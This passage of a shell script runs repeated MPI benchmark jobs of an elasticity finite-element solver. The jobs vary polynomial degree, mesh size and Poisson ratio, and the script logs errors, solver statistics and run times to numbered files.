log_files/\"364_linE_nu_0.49_deg_2_h_22_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"364_linE_nu_0.49_deg_2_h_22_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 22 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 22,22,22 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"365_linE_nu_0.49_deg_2_h_22_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"365_linE_nu_0.49_deg_2_h_22_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"366_linE_nu_0.49_deg_2_h_23_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"366_linE_nu_0.49_deg_2_h_23_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"367_linE_nu_0.49_deg_2_h_23_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"367_linE_nu_0.49_deg_2_h_23_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 23 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 23,23,23 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"368_linE_nu_0.49_deg_2_h_23_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"368_linE_nu_0.49_deg_2_h_23_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"369_linE_nu_0.49_deg_2_h_40_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"369_linE_nu_0.49_deg_2_h_40_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"370_linE_nu_0.49_deg_2_h_40_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"370_linE_nu_0.49_deg_2_h_40_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"371_linE_nu_0.49_deg_2_h_40_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"371_linE_nu_0.49_deg_2_h_40_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"372_linE_nu_0.49_deg_2_h_41_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"372_linE_nu_0.49_deg_2_h_41_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"373_linE_nu_0.49_deg_2_h_41_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"373_linE_nu_0.49_deg_2_h_41_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"374_linE_nu_0.49_deg_2_h_41_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"374_linE_nu_0.49_deg_2_h_41_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"375_linE_nu_0.49_deg_3_h_5_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"375_linE_nu_0.49_deg_3_h_5_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"376_linE_nu_0.49_deg_3_h_5_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"376_linE_nu_0.49_deg_3_h_5_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"377_linE_nu_0.49_deg_3_h_5_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"377_linE_nu_0.49_deg_3_h_5_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"378_linE_nu_0.49_deg_3_h_8_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"378_linE_nu_0.49_deg_3_h_8_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"379_linE_nu_0.49_deg_3_h_8_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"379_linE_nu_0.49_deg_3_h_8_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"380_linE_nu_0.49_deg_3_h_8_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"380_linE_nu_0.49_deg_3_h_8_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"381_linE_nu_0.49_deg_3_h_9_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"381_linE_nu_0.49_deg_3_h_9_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"382_linE_nu_0.49_deg_3_h_9_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"382_linE_nu_0.49_deg_3_h_9_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"383_linE_nu_0.49_deg_3_h_9_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"383_linE_nu_0.49_deg_3_h_9_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"384_linE_nu_0.49_deg_3_h_12_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"384_linE_nu_0.49_deg_3_h_12_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"385_linE_nu_0.49_deg_3_h_12_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"385_linE_nu_0.49_deg_3_h_12_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"386_linE_nu_0.49_deg_3_h_12_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"386_linE_nu_0.49_deg_3_h_12_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"387_linE_nu_0.49_deg_3_h_13_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"387_linE_nu_0.49_deg_3_h_13_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"388_linE_nu_0.49_deg_3_h_13_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"388_linE_nu_0.49_deg_3_h_13_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"389_linE_nu_0.49_deg_3_h_13_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"389_linE_nu_0.49_deg_3_h_13_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"390_linE_nu_0.49_deg_4_h_3_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"390_linE_nu_0.49_deg_4_h_3_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"391_linE_nu_0.49_deg_4_h_3_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"391_linE_nu_0.49_deg_4_h_3_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"392_linE_nu_0.49_deg_4_h_3_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"392_linE_nu_0.49_deg_4_h_3_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"393_linE_nu_0.49_deg_4_h_4_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"393_linE_nu_0.49_deg_4_h_4_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"394_linE_nu_0.49_deg_4_h_4_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"394_linE_nu_0.49_deg_4_h_4_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"395_linE_nu_0.49_deg_4_h_4_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"395_linE_nu_0.49_deg_4_h_4_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"396_linE_nu_0.49_deg_4_h_7_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"396_linE_nu_0.49_deg_4_h_7_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"397_linE_nu_0.49_deg_4_h_7_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"397_linE_nu_0.49_deg_4_h_7_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"398_linE_nu_0.49_deg_4_h_7_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"398_linE_nu_0.49_deg_4_h_7_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"399_linE_nu_0.49_deg_4_h_8_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"399_linE_nu_0.49_deg_4_h_8_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"400_linE_nu_0.49_deg_4_h_8_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"400_linE_nu_0.49_deg_4_h_8_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"401_linE_nu_0.49_deg_4_h_8_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"401_linE_nu_0.49_deg_4_h_8_cpu_64_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"402_linE_nu_0.49_deg_4_h_9_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"402_linE_nu_0.49_deg_4_h_9_cpu_64_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"403_linE_nu_0.49_deg_4_h_9_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"403_linE_nu_0.49_deg_4_h_9_cpu_64_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"404_linE_nu_0.49_deg_4_h_9_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"404_linE_nu_0.49_deg_4_h_9_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"405_linE_nu_0.49999_deg_2_h_38_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"405_linE_nu_0.49999_deg_2_h_38_cpu_64_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"406_linE_nu_0.49999_deg_2_h_38_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"406_linE_nu_0.49999_deg_2_h_38_cpu_64_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"407_linE_nu_0.49999_deg_2_h_38_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"407_linE_nu_0.49999_deg_2_h_38_cpu_64_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > 